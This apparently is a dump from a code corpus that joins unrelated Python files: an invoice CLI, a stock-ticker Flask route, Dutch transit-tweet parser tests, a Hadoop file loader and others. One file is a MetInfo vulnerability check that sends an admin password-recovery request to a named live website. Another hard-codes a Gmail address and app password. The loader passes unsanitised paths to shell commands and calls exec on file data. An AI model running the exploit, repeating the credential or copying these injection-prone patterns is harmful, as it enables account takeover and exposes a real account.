debug=int(os.getenv("Debug", "0")),
)
pass_time = time.time() - pass_start
if os.getenv("SAVE_MODEL") == "1":
model_dir = tempfile.mkdtemp()
fleet.save_inference_model(
exe,
model_dir,
[feed.name for feed in self.feeds],
self.avg_cost,
)
if fleet.is_first_worker():
self.check_model_right(model_dir)
if fleet.is_first_worker():
fleet.save_persistables(executor=exe, dirname=model_dir)
shutil.rmtree(model_dir)
if __name__ == "__main__":
runtime_main(TestDistGpuPsCTR2x2)
|
18,286 | 6b042c3fe5c5f307c5d5687bf76bdef4055fba20 | '''This is main of Invoice Generator for Translators by E. Turkulainen'''
import job_lister
import invoice_generator
import view_jobs
customers = ['Customer 1', 'Customer 2']
print('\nHello there! Welcome to Invoice Generator.\nIs there something specific you\'re looking'
' to accomplish today?\n')
k = True
while k is True:
choice = int(input('\n1. Add a completed job\n'
'2. View a month\'s completed jobs and their total\n'
'3. Generate an invoice\n'
'4. Quit\n'))
if choice == 1:
client = input('\nAight, for whom did you work for?\n'
'1. Customer 1\n'
'2. Customer 2\n')
job_lister.add_job(customers[int(client)-1])
elif choice == 2:
view_jobs.view_jobs()
elif choice == 3:
another = 'y'
while another == 'y':
number = input('\nWho owes ya?\n'
'1. Customer 1\n'
'2. Customer 2\n')
customer = customers[int(number)-1]
invoiceno = input('And your invoice number?\n')
print('Gotcha!\n')
invoice_generator.generate(customer, invoiceno)
print('Ka-ching! Generation ready. Enjoy :)')
another = input('Create another?\ny/n\n')
if another == 'n':
print('Awesome!\n')
else:
print('Coming right up!\n')
elif choice == 4:
break
print('\nAnything else?\n')
print('\nKay, see ya next time!\n')
exit()
|
18,287 | 668ef44359d79cb76df7b7ced2aed63e2da1b75b | import flask
import yfinance as yf
app = flask.Flask(__name__)
@app.route('/ticker/<symbol>')
def ticker(symbol):
ticker = yf.Ticker(symbol)
return flask.jsonify(ticker.info)
|
18,288 | ee421ec67aaf2cd95258170ec13511f6d0e8e19d | from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import mimetypes
import os
import smtplib
import config as cf
meu_email = ('chewbaccanoesquilo@gmail.com')
senha = ('oaufutzibwdwgatf')
email_destino = ('marcos_henrique@outlook.com')
msg = MIMEMultipart()
msg['from'] = meu_email
msg['to'] = email_destino
msg['subject'] = 'Entrega TCC.'
corpo = MIMEText(cf.msgDoEmail)
msg.attach(corpo)
pastaEnvio = os.getcwd() + '/ArquivosParaEnvio'
fileName = 'ArquivosParaEnvio/teste.docx'
attachment = open(fileName,'rb')
#http//www.freeformater
mimetypeAnexo = mimetypes.guess_type(fileName)[0].split('/')
part = MIMEBase(mimetypeAnexo[0],mimetypeAnexo[1])
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', f'attachment; filename={fileName}')
msg.attach(part)
server = smtplib.SMTP(host='smtp.gmail.com', port=587)
server.ehlo()
server.starttls()
server.login(meu_email, senha)
text = msg.as_string()
server.sendmail(meu_email,email_destino,text )
print(text)
server.quit()
|
18,289 | e0c4b523668df5b78fd1f70a4d2df1525b583b4b | from __future__ import print_function
import unittest
from tweet import DISTURBANCE, DELAY, DETOUR
from parsing import extract_lines, extract_ride_type, remove_links, extract_event_type, extract_destination, \
extract_reason
class TestParsing(unittest.TestCase):
def test_verstoring_druk(self):
text = 'Verstoring bus 48 en 65 door extreme drukte. Kijk op https://t.co/VtTXVEd4vF'
text = remove_links(text.lower())
self.assertEquals(['48', '65'], extract_lines(text))
self.assertEquals('bus', extract_ride_type(text))
self.assertEquals(DISTURBANCE['nl'][0], extract_event_type(text))
self.assertIsNone(extract_destination(text))
self.assertEqual('extreme drukte', extract_reason(text))
def test_verstoring(self):
text ='Verstoring tram 17 (richting Centraal Station) door een technisch defect. Kijk op https://t.co/VtTXVEd4vF'
text = remove_links(text.lower())
destination = extract_destination(text)
self.assertEqual('centraal station', destination)
self.assertEquals(DISTURBANCE['nl'][0], extract_event_type(text))
self.assertEquals(['17'], extract_lines(text))
self.assertEquals('tram', extract_ride_type(text))
def test_delay(self):
text = 'Bus 66 rijdt langzaam weer volgens dienstregeling. Houd rekening met vertraging.'
text = remove_links(text.lower())
self.assertEquals(DELAY['nl'][0], extract_event_type(text))
self.assertEquals(['66'], extract_lines(text))
self.assertEquals('bus', extract_ride_type(text))
def test_detour(self):
text = 'Omleiding tram 7 op last van de brandweer vanwege brand op Hoofdweg'
text = remove_links(text.lower())
self.assertEquals(DETOUR['nl'][0], extract_event_type(text))
self.assertEquals(['7'], extract_lines(text))
self.assertEquals('tram', extract_ride_type(text))
def test_delay_tram(self):
text = 'Tram 7 rijdt geleidelijk weer volgens dienstregeling. Houd rekening met vertraging.'
text = remove_links(text.lower())
self.assertTrue(extract_event_type(text) in DELAY['nl'])
self.assertEquals(['7'], extract_lines(text))
self.assertEquals('tram', extract_ride_type(text))
def test_verstoring_repairs_metro(self):
text = 'Verstoring metro 51, 53 en 54 door herstelwerkzaamheden. Kijk op https://t.co/VtTXVEd4vF'
text = remove_links(text.lower())
self.assertEquals(DISTURBANCE['nl'][0], extract_event_type(text))
self.assertEquals(['51', '53', '54'], extract_lines(text))
self.assertEquals('metro', extract_ride_type(text))
self.assertEqual('herstelwerkzaamheden', extract_reason(text))
def test_verstoring_repairs_bus(self):
text = 'Verstoring bus 22 (richting Station Sloterdijk) door werkzaamheden. Kijk op https://t.co/VtTXVEd4vF'
text = remove_links(text.lower())
self.assertEquals(DISTURBANCE['nl'][0], extract_event_type(text))
self.assertEquals(['22'], extract_lines(text))
self.assertEquals('bus', extract_ride_type(text))
self.assertEqual('werkzaamheden', extract_reason(text))
def test_running_slowly_tram_2_5(self):
text = 'Tram 2 en 5 rijdt langzaam weer volgens dienstregeling. Houd rekening met vertraging.'
text = remove_links(text.lower())
self.assertEquals(DELAY['nl'][0], extract_event_type(text))
self.assertEquals(['2', '5'], extract_lines(text))
self.assertEquals('tram', extract_ride_type(text))
def test_running_slowly_2_5_cause(self):
text = 'Verstoring tram 2 en 5 door een auto op de rails. Kijk op https://t.co/VtTXVEd4vF'
text = remove_links(text.lower())
self.assertEquals(DISTURBANCE['nl'][0], extract_event_type(text))
self.assertEquals(['2', '5'], extract_lines(text))
self.assertEquals('tram', extract_ride_type(text))
self.assertEquals('een auto op de rails', extract_reason(text))
def test_running_two_destinations(self):
text = 'Verstoring tram 3 (richting Muiderpoortstation) en 12 (richting Amstelstation) door een technisch defect. Kijk op https://t.co/VtTXVEd4vF'
text = remove_links(text.lower())
self.assertEquals(DISTURBANCE['nl'][0], extract_event_type(text))
self.assertEquals(['3', '12'], extract_lines(text))
self.assertEquals('tram', extract_ride_type(text))
def test_running_slowly_two(self):
text = 'Tram 9 en 14 rijden langzaam weer volgens dienstregeling. Houd rekening met vertraging.'
text = remove_links(text.lower())
self.assertEquals(DELAY['nl'][0], extract_event_type(text))
self.assertEquals(['9', '14'], extract_lines(text))
self.assertEquals('tram', extract_ride_type(text))
@unittest.skip('todo')
def test_running_slowly(self):
text = 'Bus 48 en 65 rijden weer volgens dienstregeling.'
@unittest.skip('todo')
def test_works_finished(self):
text = 'Werkzaamheden Prins Hendrikkade eerder klaar dan gepland. Vanaf maandag rijden bus 22, 48 en 248 al weer normale dienstregeling.'
@unittest.skip('todo')
def test_repair_normal_time(self):
text = 'Werkzaamheden Prins Hendrikkade eerder klaar dan gepland. Vanaf maandag rijden bus 22, 48 en 248 al weer normale dienstregeling.'
@unittest.skip('todo')
def test_normal_schedule(self):
text = 'Metro 51, 53 en 54 rijden weer volgens dienstregeling.'
@unittest.skip('todo')
def test_increased_delay(self):
text = 'Oplopende vertraging bus 22 door verkeersdrukte Spaarndammerstraat.'
@unittest.skip('todo')
def test_stop_station(self):
text = 'Bus 22 (richting Station Sloterdijk) halteert weer bij de Oostzaanstraat.'
def test_chunk(self):
the_list = [1, 2, 3, 4]
self.assertEquals([(1, 2), (3, 4)], chunk(the_list, 2))
the_list = [1, 2, 3, 4, 5]
print(chunk(the_list, 2))
def chunk(the_list, size):
from itertools import izip_longest
it = [iter(the_list)] * size
return list(izip_longest(*it))
|
18,290 | 11ad9a3221722cbe359ca8995da44b4a90a01b31 | # -*- coding: utf-8 -*-
from dummy import *
from miniCurl import Curl
curl = Curl()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#author:小光
#refer:http://www.wooyun.org/bugs/wooyun-2015-0121863
def assign(service, arg):
if service == "metinfo":
return True, arg
def audit(arg):
url = arg + 'member/'
cookie = 'Cookie: PHPSESSID=9be0lkppmei08qedn56funvje0; CNZZDATA1670348=cnzz_eid%3D24422845-1444377232-%26ntime%3D1444377232'
data = 'admin_name=admin&Submit=+%E6%89%BE%E5%9B%9E%E5%AF%86%E7%A0%81+'
code, head,res, errcode, _ = curl.curl2(url,cookie = cookie,data = data)
if code == 200 and 'index_member.php?lang=cn' in res :
security_hole(url + " :任意用户密码修改")
if __name__ == '__main__':
from dummy import *
audit(assign('metinfo', 'http://www.topxon.com/')[1]) |
18,291 | 21a06832a50d3dc15cc7581453c4c5bac9d3f1a1 |
import os,sys
import json
import psycopg2
import datetime
import datetime, time
import commands
import logging
import smtplib
import base64
import subprocess
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.MIMEBase import MIMEBase
from email.mime.text import MIMEText
from email import Encoders
import ConfigParser
import re
#import ebcdic
g_test_var = 'test_phase'
g_func_var = 'reporting.fileload'
#############################################################################################################################
# / /#
# / validateEmail : Validates all the email id in the property file to check whether they are active. /#
# / /#
# / /#
# / Retruns a list of valid emails /#
# / /#
# / /#
# / /#
# / /#
#############################################################################################################################
def validateEmail(SERVER, validLst):
host = SERVER
emailProp = '/home/phdftpuser/%s/project/config/Email.properties' % (g_test_var)
config = ConfigParser.RawConfigParser()
config.read(emailProp)
emailLst = config.get('Email Header', 'email.id').split(',')
server = smtplib.SMTP()
server.set_debuglevel(0)
server.connect(host)
server.helo(host)
for i in emailLst:
server.mail(i)
code, msg = server.rcpt(str(i))
if code == 250:
validLst.append(i)
server.quit()
return validLst
#############################################################################################################################
# / /#
# / sendErromail : Sends the email to the list of active users with the Error and Debug information. /#
# / /#
# / /#
# / Retruns nothing /#
# / /#
# / /#
# / /#
# / /#
#############################################################################################################################
def sendErromail(errInfo, job, process):
print 'Email Started'
today = datetime.datetime.now().date()
SERVER = "mailhost.waddell.com"
BODY = errInfo
address_book = []
SUBJECT = ''
if process == '':
SUBJECT = 'Tasked Failed -- %s in TEST for process on %s' % (job, str(today))
else:
SUBJECT = 'Tasked Failed -- %s in TEST @ %s on %s' % (job, process, str(today))
address_book = validateEmail(SERVER, address_book)
FROM = "HDFSSupportTeam@waddell.com"
TO = ','.join(address_book)
msg = MIMEMultipart()
msg['Subject'] = SUBJECT
msg['From'] = FROM
msg['To'] = TO
msg.preamble = 'Multipart massage.\n'
msg.attach(MIMEText(BODY, 'plain'))
try:
server = smtplib.SMTP(SERVER)
server.sendmail(FROM, address_book, msg.as_string())
print 'Message Sent'
except SMTPEXCEPTION:
print "Error: unable to send Error email with attachment"
#############################################################################################################################
# / /#
# / getConn : fetch the property information from the configuration file and returns . /#
# / /#
# / Retruns host,database,hadoop environment location and network drive environment locations. /#
# / /#
# / /#
#############################################################################################################################
def getConn():
connProp = '/home/phdftpuser/%s/project/config/host.properties' % (g_test_var)
config = ConfigParser.RawConfigParser()
config.read(connProp)
connLst = config.get('Host Property', 'Host.id').split(',')
connLst = ','.join(connLst)
return connLst.split(',')
#############################################################################################################################
# / /#
# / readLayout : Reads the json layout for each key and returns the keys and value for the flags. /#
# / /#
# / Retruns keys and value for the flags /#
# / sequence /#
# / sequence_ext /#
# / seq_ident_char /#
# / sec_col_Flag /#
# / record_flag /#
# / /#
#############################################################################################################################
def readLayout(load):
recordFlush = ''
recordSeq = []
follw_Rcd_Chars = ''
recordSeq_ext = ''
sec_ord = ''
for key, value in load.items():
for v in value:
if "record_flag" in v.keys():
if v["record_flag"] == 'True' and "sec_col_Flag" not in v.keys():
recordFlush = key
if "sec_col_Flag" in v.keys() and v["record_flag"] == 'True':
sec_ord = key
if "sequence" in v.keys():
if v["sequence"] == 'True':
recordSeq.append(key)
if "sequence_ext" in v.keys():
if v["sequence_ext"] == 'True':
recordSeq_ext = key
follw_Rcd_Chars = v["seq_ident_char"]
return recordFlush, recordSeq, recordSeq_ext, sec_ord, follw_Rcd_Chars
##############################################################################################################################
# / /#
# / /#
# / populateNulls : populates nulls for the record that doesn't exist in the input file. /#
# / /#
# / Returns pipe delimited null string /#
# / /#
##############################################################################################################################
def populateNulls(item, json_load):
res = ''
for i in range(1, len(json_load["db_prop"][0]["columns"][0][item].split('|')) + 1):
res = res + 'null|'
return res
##############################################################################################################################
# / /#
# / /#
# / moveToHDFS : copies the processed file from the network wip drive to HDFS. /#
# / /#
# / Returns None /#
# / /#
##############################################################################################################################
def moveToHDFS(progJobPath, jobName, table, g_hdp_loc, nw_Drive):
print 'end time' + str(datetime.datetime.now())
fleExst = "/%s/%s/%s.txt" % (g_hdp_loc, jobName, table)
print fleExst
res = rmrHdfs(fleExst)
print res
fle_outLoc = "/%s/%s/wip/%s.txt" % (nw_Drive, progJobPath, table)
print fle_outLoc
fleToHdp = "%s /%s/%s/" % (fle_outLoc, g_hdp_loc, jobName)
print fleToHdp
putHdfs(fleToHdp)
os.remove(fle_outLoc)
def testHdfs(absPth):
fleExst = "hadoop fs -test -e %s" % (absPth)
return subprocess.call(fleExst, shell=True)
def rmrHdfs(absPth):
# fleExst="hadoop fs -test -e %s"%(absPth)
rtrncd = testHdfs(absPth)
if int(rtrncd) == 0:
hadoopfsjob = "hadoop fs -rmr %s" % (absPth)
os.system(hadoopfsjob)
return rtrncd
def catHdfs(absPth):
hadoopFsJob = "hadoop fs -cat %s" % (absPth)
rsltSt = commands.getoutput(hadoopFsJob)
return rsltSt
def putHdfs(absPth):
fleToHdp = "hdfs dfs -put %s" % (absPth)
os.system(fleToHdp)
def fleCheck(absPth, prcFle, mode):
if mode == 'r':
if os.path.isfile(absPth):
print "%s File Exists, loading the file" % (prcFle)
fle2Read = open(absPth, mode)
else:
print "The %s you loaded doesn't exist in the location please recheck the location" % (prcFle)
errMsg = "The %s you loaded doesn't exist in the location please recheck the location" % (prcFle)
deMsg = "Please check the if %s exists for the process in the location -- %s" % (prcFle, absPth)
fnlStrg = errMsg + '\n' + deMsg
sendErromail(fnlStrg, '%s doesnt exsist' % (prcFle), '')
sys.exit(1)
else:
try:
if os.path.isfile(absPth) and mode == 'a+':
fle2Read = open(absPth, mode)
elif os.path.isfile(absPth) and mode == 'w':
os.remove(absPth)
fle2Read = open(absPth, mode)
else:
fle2Read = open(absPth, 'w')
except IOError as e:
print "cannot open file ({0}): {1}".format(e.errno, e.strerror)
errMsg = "cannot open file ({0}): {1}".format(e.errno, e.strerror)
deMsg = "Please Check the filepath: %s" % (absPth)
fnlStrg = errMsg + '\n' + deMsg
sendErromail(fnlStrg, '%s doesnt exsist' % (prcFle), '')
sys.exit(1)
return fle2Read
def tmeStmpCheck(fleSzeChk, tsOutput, curTSTMp, table):
if fleSzeChk:
print 'Time log is empty'
else:
for dte in tsOutput:
if curTSTMp == dte.strip():
print 'Process %s' % (table)
print 'This file was already processed for timestamp in logs %s,program exiting' % (curTSTMp)
errMsg = "This file was already processed for timestamp in logs -%s,program exiting @ %s " % (
curTSTMp, str(datetime.datetime.now()))
deMsg = "Please check the input file passed"
fnlStrg = errMsg + '\n' + deMsg
sendErromail(fnlStrg, 'Input File Parsed Already', table)
sys.exit(1)
return 'Timestamp Check completed'
##############################################################################################################################
# / /#
# / flushOutput : flush each of the records in the dictionaries[dict,seqDict] into output file. /#
# / /#
# / Note: /#
# / Whenever there are records in the seqDict ,while loop executes till cntr is less than length of seqDict. /#
# / This method will call populateNulls() method to populate nulls for the keys that doesn't exist in dictionaries. /#
# / /#
# / Returns res_cnt for the count debugging purpose. /#
# / /#
# / /#
##############################################################################################################################
def flushOutput(as_of_dt, bus_flag, dict, seqDict, seq_ext, res_cnt, json_load, seq, op, proc_id, insrt_ts, sec_ord,
rec_id, rec_id_fl):
output = ''
if sec_ord in dict.keys():
col_order = json_load["db_prop"][0]["sec_col_order"]
else:
col_order = json_load["db_prop"][0]["col_order"]
cnt, lent = 1, 1
if bool(seqDict):
for i in seqDict.keys():
if lent == int(i.split('_')[1]):
lent = lent
elif lent < int(i.split('_')[1]):
lent = int(i.split('_')[1])
else:
lent = lent
while True:
output = ''
if cnt > lent:
break
for cols in col_order:
if cols in dict.keys():
output = output + dict[cols]
elif cols in seq:
if cols + '_' + str(cnt) in seqDict.keys():
output = output + seqDict[cols + '_' + str(cnt)]
else:
output = output + populateNulls(cols, json_load)
else:
output = output + populateNulls(cols, json_load)
cnt = cnt + 1
rec_id = rec_id + 1
if bus_flag == 'True':
if rec_id_fl == 'True':
output = str(rec_id) + '|' + as_of_dt + '|' + output + proc_id + '|' + insrt_ts + '\n'
else:
output = as_of_dt + '|' + output + proc_id + '|' + insrt_ts + '\n'
else:
output = output + proc_id + '|' + insrt_ts + '\n'
op.write(output)
res_cnt = res_cnt + 1
return res_cnt, rec_id
##############################################################################################################################
# / /#
# / parseLine : This method will take the input line and parse with respective to the json layout . /#
# / /#
# / Note: /#
# / This method iterates over the columns per key in the json layout and parses out the positions and data type /#
# / of each column and organize the input line into pipe delimited formatted row. /#
# / /#
# / Returns formatted string of the input line. /#
# / /#
# / v.01 updated the code to handle the different date formats /#
# / /#
# / /#
##############################################################################################################################
def parseLine(item, line, json_load):
res_st = ''
trim_ck = False
fd_nm_fl = False
diff_length = 0
expected_length = int(json_load["db_prop"][0]["len_of_lne"])
actual_length = int(len(line))
if expected_length > actual_length:
diff_length = expected_length - actual_length
else:
diff_length = actual_length - expected_length
for val in json_load["db_prop"][0]["columns"][0][item].split('|'):
st = ''
if len(json_load[item][0]["attrib"][val][0].split(',')) > 3:
start, end, data_type, t = json_load[item][0]["attrib"][val][0].split(',')
if t == 'strip()':
trim_ck = True
else:
start, end, data_type = json_load[item][0]["attrib"][val][0].split(',')
if fd_nm_fl == 'true':
start = str(int(start) + diff_length)
end = str(int(end) + diff_length)
if len(line) != expected_length and str(val) == 'fund_nm':
end = str(int(end) + diff_length)
fd_nm_fl = 'true'
line = re.sub(r'\x00', ' ', line)
if line[int(start):int(end)].strip() == '':
st = 'null'
elif data_type in ('%m%d%Y', '%Y%m%d', '%y%m%d', '%Y%j', '%m%d%y', '%m/%d/%Y', '%m/%d/%y'):
dyn_Zero_flr = '0'
from datetime import datetime
if line[int(start):int(end)].strip() != dyn_Zero_flr.zfill(len(line[int(start):int(end)].strip())) and line[
int(
start):int(
start) + 4].strip() != '0000': # dyn_Zero_flr.zfill(int(end)-int(start)):
st = str(datetime.strptime(line[int(start):int(end)], data_type).date())
else:
st = 'null'
elif data_type == 'int':
if line[int(start):int(end)].strip() != '':
st = line[int(start):int(end)].strip()
else:
st = 'null'
elif data_type.startswith('decimal'):
pre, sca = data_type.split('(')[1].split('|')
sca = int(sca.replace(')', ''))
if len(line[int(start):int(end)]) < int(pre):
st = line[int(start):int(end)].zfill(int(pre))
st = line[int(start):int(end) - sca] + '.' + line[int(end) - sca:int(end)]
elif data_type == 'null':
st = 'null'
elif data_type.startswith('Sdecimal'):
pre, sca = data_type.split('(')[1].split('|')
sca = int(sca.replace(')', ''))
intr_Reslt = line[int(start):int(end)]
spcl_Chr = re.findall(r'[^0-9:]', intr_Reslt)
for chr in spcl_Chr:
indx = intr_Reslt.index(chr)
chr_Conv = chr.encode('cp1140').encode("hex")
if chr_Conv[0:1] == 'c':
intr_Reslt = intr_Reslt.replace(chr, chr_Conv[-1])
intr_Reslt = '+' + intr_Reslt[0:int(pre) - sca] + '.' + intr_Reslt[int(pre) - sca:]
elif chr_Conv[0:1] == 'd':
intr_Reslt = intr_Reslt.replace(chr, chr_Conv[-1])
intr_Reslt = '-' + intr_Reslt[0:int(pre) - sca] + '.' + intr_Reslt[int(pre) - sca:]
else:
intr_Reslt = intr_Reslt.replace(chr, chr_Conv[-1])
intr_Reslt = intr_Reslt[0:int(pre) - sca] + '.' + intr_Reslt[int(pre) - sca:]
st = intr_Reslt
else:
st = line[int(start):int(end)].strip().replace('|', '').replace('\\', '\\\\')
if trim_ck:
exec "st = '%s'.%s" % (st, t)
trim_ck = False
res_st = res_st + st + '|'
return res_st
##############################################################################################################################
# / /#
# / process : This method is the decision maker and core of this program it will identify the lines that needs to /#
# / be ignored and flush the result set processed. /#
# / Note: /#
# / This method have all the dictioanries initialization to keep the record set that needs to be flushed every time /#
# / it sees the flush item (which mean start of the record set [CIA,CIB,CIC],[CIA,CIB] which is "CIA" in this case). /#
# / Line#343 : This method has the logic to identify the sequence flag enabled keys and route them /#
# / appropriate handling process. /#
# / There are many flags that will help the script to navigate the line to parseLine method for further /#
# / transformations. /#
# / This method will call the parseLine and flush method to transform and the push the line to output file. /#
# / "mul_seq_Cnt" will store the cntr for the key in case of sequence and update for each occurence of the key /#
# / /#
# / Returns the count of lines written to the file and timestamp from file for log /#
# / /#
# / /#
# / /#
##############################################################################################################################
def process(json_load, inp, op, tsOutput, fleSzeChk, table):
print 'entered in to process'
flush, seq, seq_ext, sec_ord, follw_Rcd_Chars = readLayout(json_load)
cnt, seq_cnt, res_cnt, rec_id = 0, 0, 0, 0
proc_id = json_load["db_prop"][0]["hdfs_proc_id"]
insrt_ts = str(datetime.datetime.now())
as_of_dt = ''
bus_flag = 'False'
if "bus_proc_dt" in json_load["db_prop"][0].keys():
bus_flag = json_load["db_prop"][0]["bus_proc_dt"]
rec_id_fl = 'False'
mul_seq_Cnt = {}
dflt_Key = ''
len_of_lne = int(json_load["db_prop"][0]["len_of_lne"])
lsPos, lePos = json_load["db_prop"][0]["line_default_char"][0].split(',')
frstDict, seqDict = {}, {}
hdrLne, sPos, ePos = json_load["db_prop"][0]["ts_valid"][0].split(',')
trLr = json_load["Trailer"][0]["Seq"]
print 'start time' + str(datetime.datetime.now())
isPos, iePos = 0, 0
item, recrd_ext = '', ''
for line in inp:
# if re.search('[\xAE]',line) :
# print 'reached at AE'
# line = re.sub('[\xAE]',' ',line)
# line = re.sub(r'[^\x01-\x7F]','',line)
# else:
# line = re.sub(r'[^\x01-\x7F]',' ',line)
# line = re.sub(r'[^\x00-\x7F]','i',line)
offDiff = len(line) - len_of_lne
prev_Indx = None
uni_Chr = re.findall(r'[^\x01-\x7F]|[\xAE]', line)
if len(uni_Chr) != 0:
for chr in uni_Chr:
chr_Indx = line.index(chr)
if "encode_flag" in json_load["db_prop"][0].keys():
if offDiff != 0 and prev_Indx != chr_Indx:
line = ''.join(line[0:chr_Indx] + line[chr_Indx + 1:])
else:
line = ''.join(line[0:chr_Indx] + ' ' + line[chr_Indx + 1:])
prev_Indx = chr_Indx
offDiff -= 1
else:
line = ''.join(line[0:chr_Indx] + ' ' + line[chr_Indx + 1:])
if 'no_rec_typ' in json_load["db_prop"][0].keys() and not line.startswith(hdrLne) and not line.startswith(trLr):
dflt_Key = flush
line = line.rstrip().ljust(len_of_lne) + dflt_Key
if line.strip().startswith(hdrLne):
timeStamp = line[int(sPos):int(ePos)].strip()
tsCheck = tmeStmpCheck(fleSzeChk, tsOutput, timeStamp, table)
if bus_flag == 'True':
lne, strt_dt, end_dt, rec_id_fl = json_load["db_prop"][0]["as_of_dt"][0].split(',')
if (line.strip().startswith(lne.strip())):
if (int(end_dt) - int(strt_dt)) == 8:
line = line.strip()
if line.startswith('FH'):
as_of_dt = line[int(end_dt) - 4:int(end_dt)] + '-' + line[int(strt_dt):int(
strt_dt) + 2] + '-' + line[int(strt_dt) + 2:int(strt_dt) + 4]
else:
as_of_dt = line[int(strt_dt):int(strt_dt) + 4] + '-' + line[int(strt_dt) + 4:int(
strt_dt) + 6] + '-' + line[int(strt_dt) + 6:int(end_dt)]
else:
as_of_dt = line[int(end_dt) - 4:int(end_dt)] + '-' + line[
int(strt_dt):int(strt_dt) + 2] + '-' + line[
int(
strt_dt) + 3:int(
strt_dt) + 5]
recrd_ext = line[int(lsPos):int(lePos)] + line[int(isPos):int(iePos)]
if (((line.startswith(flush) or line[int(lsPos):int(lePos)] == flush or recrd_ext == flush) or (
line.startswith(sec_ord) and sec_ord != '')) or (
line.startswith(trLr) or trLr == 'default')) and cnt != 0:
if len(frstDict.keys()) != 0:
res_cnt, rec_id = flushOutput(as_of_dt, bus_flag, frstDict, seqDict, seq_ext, res_cnt, json_load, seq,
op, proc_id, insrt_ts, sec_ord, rec_id, rec_id_fl)
frstDict, seqDict = {}, {}
mul_seq_Cnt = {}
if line.startswith(trLr):
cnt, rec_id = 0, 0
if line[int(lsPos):int(lePos)] in json_load.keys():
item = line[int(lsPos):int(lePos)]
if "seq_ident_FLg" in json_load[item][0].keys():
isPos, iePos = json_load[item][0]["seq_ident_pos"][0].split(',')
else:
isPos, iePos = 0, 0
if line[int(lsPos):int(lePos)] + line[int(isPos):int(iePos)].strip() in json_load.keys():
item = line[int(lsPos):int(lePos)] + line[int(isPos):int(iePos)].strip()
else:
item = item
if len(seq) == 0 and "attrib" in json_load[item][0].keys():
result = parseLine(item, line, json_load)
if len(seq) != 0 and item not in seq:
result = parseLine(item, line, json_load)
if item in seq:
iChars = json_load[item][0]["seq_ident_char"]
if line[int(isPos):int(iePos)].strip() in iChars or 'default' in iChars:
if item not in mul_seq_Cnt:
mul_seq_Cnt[item] = 0
result = parseLine(item, line, json_load)
mul_seq_Cnt[item] = mul_seq_Cnt[item] + 1
if line[int(isPos):int(iePos)].strip() in iChars or 'default' in iChars:
seqDict[item + '_' + str(mul_seq_Cnt[item])] = result
else:
if "attrib" in json_load[item][0].keys():
if "mul_recrd_frmt" in json_load[item][0].keys():
frstDict[item[int(lsPos):int(lePos)]] = result
else:
frstDict[item] = result
if flush == item:
cnt = cnt + 1
return res_cnt, timeStamp
##############################################################################################################################
# / /#
# / pigprocess : This process is called for the input that has single record type and is more than a gigabyte,the input /#
# / is copied to HDFS location first and uses pig to process the file. /#
# / Note: /#
# / This method will create pigscripts in the environment(dev,test..etc) project/<project name>/pigscript/folder with /#
# / the appropriate script with necessary parameters like mapping will be written to this scripts. /#
# / /#
# / There is pyudf(parse.py) developed for this process under (/<environment>/project/framework/) that takes mapping /#
# / as parameter from the script and pass it to the udf to return a formatted string. /#
# / /#
# / There are 2 pigscripts involved in this process ,the first will fetch the as_of_dt from the file and return to a /#
# / file.The later script will send unformatted lines to pyudf to do data cleansing and returns a formatted line /#
# / with date from the previous pig script result appended to it. /#
# / /#
# / Returns the count of lines written to the file and timestamp from file for log /#
# / /#
# / /#
##############################################################################################################################
def pigprocess(json_load, inp, jobName, fleNme, fle_nm_Splt, fleSzeChk, tsOutput, table, g_hdp_loc):
flush, seq, seq_ext, sec_ord, follw_Rcd_Chars = readLayout(json_load)
mapLst = ''
for i in json_load['db_prop'][0]['columns'][0][flush].split('|'):
mapLst += str(json_load[flush][0]['attrib'][i]) + '||'
mapLst = mapLst.replace("'", '').replace('u', '')
print 'mapLst string is', mapLst
len_of_lne = int(json_load['db_prop'][0]["len_of_lne"])
procId = json_load["db_prop"][0]["hdfs_proc_id"]
insrt_ts = str(datetime.datetime.now())
if json_load["db_prop"][0]["bus_proc_dt"] == 'True':
as_of_dt = str(json_load["db_prop"][0]["as_of_dt"]).replace("'", '').replace('u', '')
else:
as_of_dt = str(datetime.date.today())
print 'as_of_dt before transformation', as_of_dt
hLne = as_of_dt.replace('[', '').replace(']', '').replace('u', '').split(',')[0]
tLne = json_load["Trailer"][0]["Seq"]
tsStmp = str(json_load["db_prop"][0]["ts_valid"]).replace("'", '').replace('u', '')
# print 'as_of_dt after transformation',as_of_dt.replace('[','').replace(']','').split(',')
# print 'tsstamp after transformations',tsStmp.replace('[','').replace(']','').split(',')
fleTsExst = "/%s/%s/datetime/%s_validation" % (g_hdp_loc, jobName, fle_nm_Splt)
tsExstres = rmrHdfs(fleTsExst)
fleinHdp = "/%s/%s/inbound/%s" % (g_hdp_loc, jobName, fleNme)
inHdpres = rmrHdfs(fleinHdp)
fleToHdp = "%s /%s/%s/inbound/" % (inp, g_hdp_loc, jobName)
print fleToHdp
putHdfs(fleToHdp)
######################################################################################
# / /#
# / /#
# / Pig script->1 fetch the as_of_dt and valid timestamp on the file. /#
# / /#
######################################################################################
pigReg = "register /home/phdftpuser/%s/project/framework/udf/parse.py using jython as my_special_udfs; \n" % (
g_test_var)
pigLine1 = "A = LOAD '/%s/%s/inbound/%s'" % (g_hdp_loc, jobName, fleNme) + "AS (line:chararray);\n"
pigLine2 = "B = FILTER A BY SUBSTRING(line,0,3)=='%s';\n" % (hLne)
pigLine3 = "C = FOREACH B GENERATE my_special_udfs.fetchAs_of_dt(line,'%s','%s');\n" % (as_of_dt, tsStmp)
pigLine4 = "STORE C INTO '/%s/%s/datetime/%s_validation';" % (g_hdp_loc, jobName, fle_nm_Splt)
tmStmpFile = '/home/phdftpuser/%s/project/%s/pigscript/%s_getdate.pig' % (g_test_var, jobName, fle_nm_Splt)
prcFle = 'pig timestamp script'
mode = 'w'
pigJobFile = fleCheck(tmStmpFile, prcFle, mode)
pigJobFile.write(pigReg + pigLine1 + pigLine2 + pigLine3 + pigLine4)
pigJobFile.close()
pigjob = "pig %s" % (tmStmpFile)
os.system(pigjob)
hadoopFsJob = "/%s/%s/datetime/%s_validation/part*" % (g_hdp_loc, jobName, fle_nm_Splt)
rsltSt = catHdfs(hadoopFsJob)
print rsltSt.split('|')
curTSTMp = rsltSt.split('|')[1]
tsCheck = tmeStmpCheck(fleSzeChk, tsOutput, curTSTMp, table)
fleTblExst = "/%s/%s/%s.txt" % (g_hdp_loc, jobName, table)
